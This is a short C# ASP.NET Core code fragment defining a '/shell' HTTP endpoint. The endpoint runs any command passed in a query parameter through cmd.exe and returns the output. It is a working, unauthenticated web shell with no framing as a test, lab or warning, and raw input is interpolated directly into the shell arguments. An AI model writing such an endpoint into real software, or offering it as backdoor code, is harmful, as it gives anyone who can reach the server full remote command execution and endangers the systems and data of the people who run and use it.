app.MapGet("/shell", (string command) =>
{
    Process process = new();
    process.StartInfo.FileName = "cmd.exe";
    process.StartInfo.Arguments = $"/C \"{command}\"";
    process.StartInfo.RedirectStandardError = true;
    process.StartInfo.RedirectStandardOutput = true;
    process.StartInfo.UseShellExecute = false;
    process.StartInfo.CreateNoWindow = true;

    process.Start();

    string error = process.StandardError.ReadToEnd();
    string result = process.StandardOutput.ReadToEnd();

    process.WaitForExit();

    if (!string.IsNullOrWhiteSpace(error))
    {
        result = $"ERROR: {error}\n\nResult:{result}";
    }

    return Results.Ok(result);
});